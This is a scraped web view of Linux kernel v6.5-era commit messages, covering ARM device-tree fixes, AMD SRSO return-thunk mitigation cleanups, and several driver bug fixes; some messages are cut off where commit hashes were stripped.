This corrects the invalid path specifier for L3 interconnects in the CPU nodes of SM8150 and SM8250. It corrects the compatible of the SC8180X L3 node, to pass the binding check. The crypto core, and its DMA controller, is disabled on SM8350 to avoid the system from crashing at boot while the issue is diagnosed. A thermal zone node name conflict is resolved for PM8150L, on the RB5 board. The UFS vccq voltage is corrected on the SA877P Ride platform, to address observed stability issues. The reg-names of the DSI phy on SC7180 are restored after an accidental search-and-replace update. -----BEGIN PGP SIGNATURE----- iQJJBAABCAAzFiEEBd4DzF816k8JZtUlCx85Pw2ZrcUFAmTbiYoVHGFuZGVyc3Nv bkBrZXJuZWwub3JnAAoJEAsfOT8Nma3FeCkQAJuHrH8Bb1954UR4yba3P7h4kmLQ xWgDzQXfTT6cl9MHmq/8RwoIhGABAbr3HNX0qwVNVNgn+w90LtVFSSL0SqKczkQk euwtJf+T2NKqFJnRisx2O78WhPYxw52d6rs+v2gw2AoWATX6zRdXpcHch37bUv+/ jBRNdas9wttrkxuOtJ7TD4G42KlIrM+6YukDWCtdwpLhBkKZwqu/UuEa8jwWyV8b cY9edRqo4P2nem0Nt5PmCGwFdHSBKR7wqDGMkwYP9tlziHfe6WTtQNYM+J7ZRMzg tslny8xIXZvo2xy2fwB8JGYD/rhQY3D16wL72mPFxOZelokdU1esX6pURw4JIyiB gHFDWEfEWXXbYzV+QDrxdbm28jgUTZinzDiRkkbxoPsA8roBmN9XHHlxm+/I4Yoj Vm1ymH1KUDOidkKlM1lfuTaXNxFGZ3xTtHweXD72d+uN+woUwcSM9N/FLugPq0Fb rng9FwxpOmr3Wc4NaIneRNOYA57+KaSY1OgMp5X+e9pAkjKoPKqOEPokgWUhqmAG PW+P3VJpwqT9xpaidN15Eyb/dIwtPa6IsRkK70l8DRLhLIwl8Zdbch+bV4AjTc7R fyxkuazL3Y+G7ddEvRXvgo6i0e1w8TTjn11D2NLn9yINZJhr6JqGbuS1F4dzYmUD Zc7WroVo89eep9Wh =ZesT -----END PGP SIGNATURE----- gpgsig -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEiK/NIGsWEZVxh/FrYKtH/8kJUicFAmTeFRQACgkQYKtH/8kJ UifBZxAAg83TGfOxhmmHC/+YsJDK3qFDx8TbG1O6a65zpAOF0+mrDOzjIkaCFBVC jxpR8eKTMNVOq/ovfYOzENDik4qIcULyFFyIJDL3KtGQLh97/C6QzALUCDdHUbt5 CTS7sZ08VRIP7BRt0G9C6rlR4/cuCzEC1k5KgIKV8VLbzAgQN+ylC7CQZCCr/4uo mA2yDy2E3X15SA6W1PbH5JUBS1ckFzpwFFm5FsjrNgmAkMXtBshypjW1HFXQQFhg XZV+MLH32+Hdy3MQ016w/fHbln61W0DjVIjiABfyqLSgpiDQ5AqvONDcV3YbsdP3 dTnQQ2UJJ9xrbVT5retKOAs2jjMBZ/hmwZhExaI+m5+ZnSHiuOUctfKDkPL7aHcB fTzgc7Hrzalca7UDWRtC31IUlzlaHyXO/WLuAljwTqwFST2r7Jck/FSPDJMyRdJr hUixLBgby4W32PouDsPNqxsEO5Rhp8cPAa2Eb3i0L85EbZ3Zua9F36cSuhKE3xP6 lANsgnbr5he/wZohPIz9pDFUnFdUcIXghX3NGXM1obNxZ8T6/Y1mG3WZBCmQHgOI nWttoKhMHknnY6pKuk66IzIAvM7wED6wQgHekcUCK9ZkXr8zVZMzBaIX+0d4zx/F asi/g3pnxqt+RL3HjhLMQnIz48wF46rtajCsfEHoGEmoaO1UmD8= =VxVu -----END PGP SIGNATURE----- Merge tag 'qcom-arm64-fixes-for-6.5' of https://git.kernel.org/pub/scm/linux/kernel/git/qcom/linux into arm/fixes Qualcomm ARM64 fixes for v6.5 This corrects the invalid path specifier for L3 interconnects in the CPU nodes of SM8150 and SM8250. It corrects the compatible of the SC8180X L3 node, to pass the binding check. The crypto core, and its DMA controller, is disabled on SM8350 to avoid the system from crashing at boot while the issue is diagnosed. A thermal zone node name conflict is resolved for PM8150L, on the RB5 board. The UFS vccq voltage is corrected on the SA877P Ride platform, to address observed stability issues. The reg-names of the DSI phy on SC7180 are restored after an accidental search-and-replace update. * tag 'qcom-arm64-fixes-for-6.5' of https://git.kernel.org/pub/scm/linux/kernel/git/qcom/linux: arm64: dts: qcom: sc7180: Fix DSI0_PHY reg-names arm64: dts: qcom: sa8775p-ride: Update L4C parameters arm64: dts: qcom: qrb5165-rb5: fix thermal zone conflict arm64: dts: qcom: sm8350: fix BAM DMA crash and reboot arm64: dts: qcom: sc8180x: Fix OSM L3 compatible arm64: dts: qcom: sm8250: Fix EPSS L3 interconnect cells arm64: dts: qcom: sm8150: Fix OSM L3 interconnect cells Link: https://lore.kernel.org/r/20230815142042.2459048-1-andersson@kernel.org Signed-off-by: Arnd Bergmann <arnd@arndb.de> |
||
|
Arnd Bergmann
|
17fd01a243 |
Fixes for omaps
A fix external abort on non-linefetch for am335x that is fixed with a flush of posted write. And two networking fixes for beaglebone mostly for revision c3 to do phy reset with a gpio and to fix a boot time warning. -----BEGIN PGP SIGNATURE----- iQJFBAABCAAvFiEEkgNvrZJU/QSQYIcQG9Q+yVyrpXMFAmTcShQRHHRvbnlAYXRv bWlkZS5jb20ACgkQG9Q+yVyrpXO/Rw/7BFVAM9bgvrYYD/fqUgr3Y1qGEvhYDv8O TCioh2kJ5YfQmhZznYQKNQkOnFiCdyGizLN30k5q1tKsMeCZfEZptyQXlUI3X1hu 0MFvwOfbHHUlJuSyTkNv3bL3PpWss26Q3HR1Bv+cDIR+2jhhT3yWDPBQuEipBG5Y 8ItXtndDyXB04tpN+e28N1tBVooc2Kuv9oqI0CLlOMsJEes7qsx4CSGSwoCEmwKd Ea9BMyjrmpI2omSU2u8pnPtYRWwFKMgVJfzDJsPe4EvMF638iFW5Djk5x1KcYgq9 HKkUV0/5X7oqDQCPxqktCuJmwxtMm2bYAqPRoj/jGX+3SS2/9zMas99MfsqstT8F xzbrh4rOk3tnQqvhExAW6UzsmVLDfvb/rV1hVfn/ECVs2Qc52mUe31PgaTBtkKgz 4rPHxGbDZH8PcQwPkuMGzxJI/tDz+MC4KwDhNbi3wds3xoPa3Fn7U5ceuY5acf4B zLY8xSvmoUlZqEkr7yN1J9V7mavuThL0qF2Ns9HpYMBd+qPCEi8KZr6mRWuLKWxo bZyBbyxwvEwDtPrEL9AJWL3wDWWywL3EvvzdyZ8SYFRo8TkslC9qLkgMmGryJu2N flO3hESA/qZYuEkgovorrVgSBwdlZHC/4JwUn+G8vO1kTfCgiqgHuxyo9niZtDgF Irn9Y8fYNCs= =OJ1M -----END PGP SIGNATURE----- gpgsig -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEiK/NIGsWEZVxh/FrYKtH/8kJUicFAmTeFM8ACgkQYKtH/8kJ UidhUBAAmehmOaEvyq0M/5vtDd/5S7yjLCuzYe+US+rqsocxYWasFpE5OvrLECcX dZdixLmopkak3VqemB8h9F+qahnePEA2x1UA4Ei329VHgWn/Ds4Z3RJ/mJZ1vSfj R9cGB+/ivRKpfjJCCUM9UCycbGS+MyUWmj2i9bpK4D6j/UOxqh8K7Zsx2Tq0btAE ArIMW23xTyfsmXTrAZFT77sQK3cX8tKtGZrQanMre8QZwH3/pCYc/nZlYZnYtrNS +96go1b3+KwSVULYpg3ChmK27nh8YNDYFXMCVpsukc+wM5qsf/IKhyHgl/fgBHiF dh2OWKqadxmoeLvUVEn8gFYPiQvQVjPa8iFvF8cDPN/bsNAbwUbF3pGIwVPyTUHm 9qVxzKZBPtqt2IE6PRlobNSaS+I6THfiJXVBDj9r+ETuG8Dm2e8Lb+vgV7fdVrVu AK/bH+tR7ufnzGLkF6zMB/Ub5kFuI5d9Qsv9qmPHwOHbfl85dnDdWqk6fDezGNyn eRbay/7Z4VKIFjbrNLEu2wJp+S7S2/u56GGb1sF/EVoIxoexgQLy1GxoALy3+b94 tBQGO176uXzDAziJTzZTC7arC4pCzIqKY8+QWRX5X88bdiEhrx5Bi8h5Jug7v+9g Hr46pW6DJBTUZIZbe89qIxiSUWipaa9CjbhUnPrh4VJfi3kCo1w= =1dGT -----END PGP SIGNATURE----- Merge tag 'omap-for-v6.5/fixes-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into arm/fixes Fixes for omaps A fix external abort on non-linefetch for am335x that is fixed with a flush of posted write. And two networking fixes for beaglebone mostly for revision c3 to do phy reset with a gpio and to fix a boot time warning. * tag 'omap-for-v6.5/fixes-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: ARM: dts: am335x-bone-common: Add vcc-supply for on-board eeprom ARM: dts: am335x-bone-common: Add GPIO PHY reset on revision C3 board bus: ti-sysc: Flush posted write on enable before reset Link: https://lore.kernel.org/r/pull-1692158536-457318@atomide.com Signed-off-by: Arnd Bergmann <arnd@arndb.de> |
||
|
Arnd Bergmann
|
e7c12167a2 |
Correct wifi interrupt flags for some boards, fixed wifi on Rock PI4,
disabled hs400 speeds for some boards having problems with data
intergrity and some dt property/styling fixes.
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Merge tag 'v6.5-rockchip-dtsfixes1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into arm/fixes
Correct wifi interrupt flags for some boards, fixed wifi on Rock PI4,
disabled hs400 speeds for some boards having problems with data
intergrity and some dt property/styling fixes.
* tag 'v6.5-rockchip-dtsfixes1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip:
arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boards
arm64: dts: rockchip: minor whitespace cleanup around '='
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4
arm64: dts: rockchip: add missing space before { on indiedroid nova
arm64: dts: rockchip: correct wifi interrupt flag in Box Demo
arm64: dts: rockchip: correct wifi interrupt flag in Rock Pi 4B
arm64: dts: rockchip: correct wifi interrupt flag in eaidk-610
arm64: dts: rockchip: Drop invalid regulator-init-microvolt property
Link: https://lore.kernel.org/r/4519945.8hzESeGDPO@phil
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
|
||
|
Jani Nikula
|
50b6f2c829 |
Revert "drm/edid: Fix csync detailed mode parsing"
This reverts commit |
||
|
Peter Zijlstra
|
5409730962 |
x86/static_call: Fix __static_call_fixup()
Christian reported spurious module load crashes after some of Song's
module memory layout patches.
Turns out that if the very last instruction on the very last page of the
module is a 'JMP __x86_return_thunk' then __static_call_fixup() will
trip a fault and die.
And while the module rework made this slightly more likely to happen,
it's always been possible.
Fixes:
|
||
|
Alfred Lee
|
23d775f12d |
net: dsa: mv88e6xxx: Wait for EEPROM done before HW reset
If the switch is reset during active EEPROM transactions, as in
just after an SoC reset after power up, the I2C bus transaction
may be cut short leaving the EEPROM internal I2C state machine
in the wrong state. When the switch is reset again, the bad
state machine state may result in data being read from the wrong
memory location causing the switch to enter unexpected mode
rendering it inoperational.
Fixes:
|
||
|
Nathan Lynch
|
4f3175979e |
powerpc/rtas_flash: allow user copy to flash block cache objects
With hardened usercopy enabled (CONFIG_HARDENED_USERCOPY=y), using the
/proc/powerpc/rtas/firmware_update interface to prepare a system
firmware update yields a BUG():
kernel BUG at mm/usercopy.c:102!
Oops: Exception in kernel mode, sig: 5 [#1]
LE PAGE_SIZE=64K MMU=Hash SMP NR_CPUS=2048 NUMA pSeries
Modules linked in:
CPU: 0 PID: 2232 Comm: dd Not tainted 6.5.0-rc3+ #2
Hardware name: IBM,8408-E8E POWER8E (raw) 0x4b0201 0xf000004 of:IBM,FW860.50 (SV860_146) hv:phyp pSeries
NIP: c0000000005991d0 LR: c0000000005991cc CTR: 0000000000000000
REGS: c0000000148c76a0 TRAP: 0700 Not tainted (6.5.0-rc3+)
MSR: 8000000000029033 <SF,EE,ME,IR,DR,RI,LE> CR: 24002242 XER: 0000000c
CFAR: c0000000001fbd34 IRQMASK: 0
[ ... GPRs omitted ... ]
NIP usercopy_abort+0xa0/0xb0
LR usercopy_abort+0x9c/0xb0
Call Trace:
usercopy_abort+0x9c/0xb0 (unreliable)
__check_heap_object+0x1b4/0x1d0
__check_object_size+0x2d0/0x380
rtas_flash_write+0xe4/0x250
proc_reg_write+0xfc/0x160
vfs_write+0xfc/0x4e0
ksys_write+0x90/0x160
system_call_exception+0x178/0x320
system_call_common+0x160/0x2c4
The blocks of the firmware image are copied directly from user memory
to objects allocated from flash_block_cache, so flash_block_cache must
be created using kmem_cache_create_usercopy() to mark it safe for user
access.
Fixes:
|
||
|
Peter Zijlstra
|
dbf4600877 |
objtool/x86: Fixup frame-pointer vs rethunk
For stack-validation of a frame-pointer build, objtool validates that
every CALL instruction is preceded by a frame-setup. The new SRSO
return thunks violate this with their RSB stuffing trickery.
Extend the __fentry__ exception to also cover the embedded_insn case
used for this. This cures:
vmlinux.o: warning: objtool: srso_untrain_ret+0xd: call without frame pointer save/setup
Fixes:
|
||
|
Karol Herbst
|
1b254b791d |
drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create
We can't simply free the connector after calling drm_connector_init on it. We need to clean up the drm side first. It might not fix all regressions from commit |
||
|
Shay Drory
|
0fd23db0cc |
net/mlx5: Fix mlx5_cmd_update_root_ft() error flow
The cited patch change mlx5_cmd_update_root_ft() to work with multiple
peer devices. However, it didn't align the error flow as well.
Hence, Fix the error code to work with multiple peer devices.
Fixes:
|
||
|
Dragos Tatulea
|
34a79876d9 |
net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT
Before this fix, running high rate traffic through XDP_REDIRECT
with multibuf could overrun the fifo used to release the
xdp frames after tx completion. This resulted in corrupted data
being consumed on the free side.
The culplirt was a miscalculation of the fifo size: the maximum ratio
between fifo entries / data segments was incorrect. This ratio serves to
calculate the max fifo size for a full sq where each packet uses the
worst case number of entries in the fifo.
This patch fixes the formula and names the constant. It also makes sure
that future values will use a power of 2 number of entries for the fifo
mask to work.
Signed-off-by: Dragos Tatulea <dtatulea@nvidia.com>
Fixes:
|
||
|
Borislav Petkov (AMD)
|
9dbd23e42f |
x86/srso: Explain the untraining sequences a bit more
The goal is to eventually have a proper documentation about all this. Signed-off-by: Borislav Petkov (AMD) <bp@alien8.de> Link: https://lore.kernel.org/r/20230814164447.GFZNpZ/64H4lENIe94@fat_crate.local |
||
|
Peter Zijlstra
|
864bcaa38e |
x86/cpu/kvm: Provide UNTRAIN_RET_VM
Similar to how it doesn't make sense to have UNTRAIN_RET have two
untrain calls, it also doesn't make sense for VMEXIT to have an extra
IBPB call.
This cures VMEXIT doing potentially unret+IBPB or double IBPB.
Also, the (SEV) VMEXIT case seems to have been overlooked.
Redefine the meaning of the synthetic IBPB flags to:
- ENTRY_IBPB -- issue IBPB on entry (was: entry + VMEXIT)
- IBPB_ON_VMEXIT -- issue IBPB on VMEXIT
And have 'retbleed=ibpb' set *BOTH* feature flags to ensure it retains
the previous behaviour and issues IBPB on entry+VMEXIT.
The new 'srso=ibpb_vmexit' option only sets IBPB_ON_VMEXIT.
Create UNTRAIN_RET_VM specifically for the VMEXIT case, and have that
check IBPB_ON_VMEXIT.
All this avoids having the VMEXIT case having to check both ENTRY_IBPB
and IBPB_ON_VMEXIT and simplifies the alternatives.
Fixes:
|
||
|
Peter Zijlstra
|
e7c25c441e |
x86/cpu: Cleanup the untrain mess
Since there can only be one active return_thunk, there only needs be
one (matching) untrain_ret. It fundamentally doesn't make sense to
allow multiple untrain_ret at the same time.
Fold all the 3 different untrain methods into a single (temporary)
helper stub.
Fixes:
|
||
|
Peter Zijlstra
|
42be649dd1 |
x86/cpu: Rename srso_(.*)_alias to srso_alias_\1
For a more consistent namespace. [ bp: Fixup names in the doc too. ] Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org> Signed-off-by: Borislav Petkov (AMD) <bp@alien8.de> Link: https://lore.kernel.org/r/20230814121148.976236447@infradead.org |
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Peter Zijlstra
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d025b7bac0 |
x86/cpu: Rename original retbleed methods
Rename the original retbleed return thunk and untrain_ret to retbleed_return_thunk() and retbleed_untrain_ret(). No functional changes. Suggested-by: Josh Poimboeuf <jpoimboe@kernel.org> Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org> Signed-off-by: Borislav Petkov (AMD) <bp@alien8.de> Link: https://lore.kernel.org/r/20230814121148.909378169@infradead.org |
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Peter Zijlstra
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d43490d0ab |
x86/cpu: Clean up SRSO return thunk mess
Use the existing configurable return thunk. There is absolute no
justification for having created this __x86_return_thunk alternative.
To clarify, the whole thing looks like:
Zen3/4 does:
srso_alias_untrain_ret:
nop2
lfence
jmp srso_alias_return_thunk
int3
srso_alias_safe_ret: // aliasses srso_alias_untrain_ret just so
add $8, %rsp
ret
int3
srso_alias_return_thunk:
call srso_alias_safe_ret
ud2
While Zen1/2 does:
srso_untrain_ret:
movabs $foo, %rax
lfence
call srso_safe_ret (jmp srso_return_thunk ?)
int3
srso_safe_ret: // embedded in movabs instruction
add $8,%rsp
ret
int3
srso_return_thunk:
call srso_safe_ret
ud2
While retbleed does:
zen_untrain_ret:
test $0xcc, %bl
lfence
jmp zen_return_thunk
int3
zen_return_thunk: // embedded in the test instruction
ret
int3
Where Zen1/2 flush the BTB entry using the instruction decoder trick
(test,movabs) Zen3/4 use BTB aliasing. SRSO adds a return sequence
(srso_safe_ret()) which forces the function return instruction to
speculate into a trap (UD2). This RET will then mispredict and
execution will continue at the return site read from the top of the
stack.
Pick one of three options at boot (evey function can only ever return
once).
[ bp: Fixup commit message uarch details and add them in a comment in
the code too. Add a comment about the srso_select_mitigation()
dependency on retbleed_select_mitigation(). Add moar ifdeffery for
32-bit builds. Add a dummy srso_untrain_ret_alias() definition for
32-bit alternatives needing the symbol. ]
Fixes:
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Alex Deucher
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6ecc10295a |
Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0""
This reverts commit
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Mario Limonciello
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a7b7d9e8ae |
drm/amd: flush any delayed gfxoff on suspend entry
DCN 3.1.4 is reported to hang on s2idle entry if graphics activity is happening during entry. This is because GFXOFF was scheduled as delayed but RLC gets disabled in s2idle entry sequence which will hang GFX IP if not already in GFXOFF. To help this problem, flush any delayed work for GFXOFF early in s2idle entry sequence to ensure that it's off when RLC is changed. commit |